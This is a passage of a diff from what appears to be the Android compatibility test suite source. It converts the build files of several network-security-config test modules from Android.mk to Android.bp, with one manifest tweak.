+    name: "CtsNetSecConfigAttributeTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
deleted file mode 100644
index 849aff5..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigAttributeTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
new file mode 100644
index 0000000..be48120
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigBasicDomainConfigTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
deleted file mode 100644
index 6aeca33..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigBasicDomainConfigTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
new file mode 100644
index 0000000..f6316e5
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigPrePCleartextTrafficTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "26",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
deleted file mode 100644
index b6624d5..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigPrePCleartextTrafficTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := 26
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
index 0607b77d..24a89ac 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
@@ -17,7 +17,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+  package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+  <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26" />
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
       <uses-library android:name="org.apache.http.legacy" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
new file mode 100644
index 0000000..f733fdc
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigCleartextTrafficTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
deleted file mode 100644
index 5506fba..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigCleartextTrafficTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
new file mode 100644
index 0000000..67db32f
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigBasicDebugDisabledTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
deleted file mode 100644
index 3a12e34..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigBasicDebugDisabledTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
new file mode 100644
index 0000000..9faa2f8
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigBasicDebugEnabledTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
deleted file mode 100644
index f78be24..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigBasicDebugEnabledTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
new file mode 100644
index 0000000..3e00611
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigDownloadManagerTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
deleted file mode 100644
index 607e8a1..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigDownloadManagerTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
new file mode 100644
index 0000000..9c394b8
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigInvalidPinTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
deleted file mode 100644
index 0898ddb..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigInvalidPinTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
new file mode 100644
index 0000000..36a9dac
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigNestedDomainConfigTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
deleted file mode 100644
index 50a579e..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigNestedDomainConfigTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
new file mode 100644
index 0000000..ccff79b
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsNetSecConfigResourcesSrcTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "tests-tests-networksecurityconfig-lib",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res/"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
deleted file mode 100644
index 8feb069..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsNetSecConfigResourcesSrcTestCases
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := \
-    org.apache.http.legacy \
-    android.test.runner.stubs \
-    android.test.base.stubs \
-
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index b467b44..50cb0f1 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -12,9 +12,11 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-# Build the unit tests.
+nnapi_cts_dir := $(call my-dir)
 
-LOCAL_PATH:= $(call my-dir)
+# Build the actual CTS module with the static lib above.
